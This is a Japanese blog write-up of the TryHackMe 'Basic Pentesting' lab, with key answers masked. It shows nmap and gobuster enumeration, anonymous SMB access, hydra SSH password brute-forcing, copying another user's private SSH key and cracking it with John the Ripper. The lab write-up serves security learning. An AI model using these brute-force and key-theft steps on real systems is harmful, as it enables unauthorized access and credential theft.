はまやんはまやんはまやん

hamayanhamayan's blog

Basic Pentesting 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210511220429p:plain

面倒じゃなくて、解答に直結しそうな部分は■で隠しています。
今回の問題は2段階の攻撃が必要です。

1段階: janでログインする

$ export IP=[YourIP]
$ ping $IP

とりあえず入れて接続確認。まずはポートスキャン。

nmap

$ nmap -sC -sV $IP
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13?
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http-proxy?
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2021-05-11T09:16:57-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-11T13:16:58
|_  start_date: N/A

色々出てきたが、とりあえず80かな。
gobusterを回しながら見てみよう。

ポート80見てみる

f:id:hamayanhamayan:20210511222830p:plain

ほう。gobusterを見てみよう。

$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/.hta (Status: 403)
http://$IP/.htaccess (Status: 403)
http://$IP/.htpasswd (Status: 403)
http://$IP/■■■■■■■ (Status: 301)
http://$IP/index.html (Status: 200)
http://$IP/server-status (Status: 403)

■■■■■■■■が怪しいのでhttp://$IP/■■■■■■■■/をアクセスしてみる。
ディレクトリリスティングされてくるので、ファイルを見てみよう。
http://$IP/■■■■■■■■/j.txtを見ると、JのCredentialsが弱いらしい。
とりあえず他を探しながらユーザー名Jでhydraを使ってパスワード総当たり回しておこう。
$ hydra -l J -P /usr/share/dirb/wordlists/rockyou.txt -o out.log -e ns $IP ssh

smbclient

http://$IP/■■■■■■■■/dev.txtを見ると、SMBが動いているみたいなので、ちょっと覗いてみる。
smbclientで確かめてみる。

$ smbclient -L 10.10.147.141
Enter WORKGROUP\ctf's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available

Anonymousがあった。つないでみる。

$ smbclient \\\\$IP\\Anonymous
Enter WORKGROUP\ctf's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Apr 20 02:31:20 2018
  ..                                  D        0  Fri Apr 20 02:13:06 2018
  staff.txt                           N      173  Fri Apr 20 02:29:55 2018

                14318640 blocks of size 1024. 11093992 blocks available
smb: \> more staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

JはJanだったか。改めてhydraを回そう。

hydraによるsshパスワード総当たり

Janだとうまくいかずjanにする必要がある。

$ hydra -l jan -P /usr/share/dirb/wordlists/rockyou.txt -o out.log -e ns $IP ssh
[22][ssh] host: $IP login: jan   password: ■■■■■■■■

パスワードが抜けるのでSSH接続しよう。

SSH

$ ssh jan@$IP
jan@basic2:~$ ls
jan@basic2:~$ pwd
/home/jan
jan@basic2:~$ cd ../
jan@basic2:/home$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Apr 19  2018 .
drwxr-xr-x 24 root root 4096 Apr 23  2018 ..
drwxr-xr-x  2 root root 4096 Apr 23  2018 jan
drwxr-xr-x  5 kay  kay  4096 Apr 23  2018 kay
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@basic2:/home/kay$

kayに他ユーザーにも閲覧権限がついてはいるが、pass.bakはkayじゃないとみられない。
.sshはあるので、kayのクレデンシャルを盗んでみる。

2段階: kayでログインする

John The Ripper

$ scp jan@10.10.113.100:/home/kay/.ssh/id_rsa ./
$  python2 /usr/share/john/ssh2john.py id_rsa > hash.txt
$ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt hash.txt
■■■■■■■          (id_rsa)

パスワードが特定できた。

ログインして最後の情報を抜き取る

$ ssh -i ./id_rsa kay@$IP
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■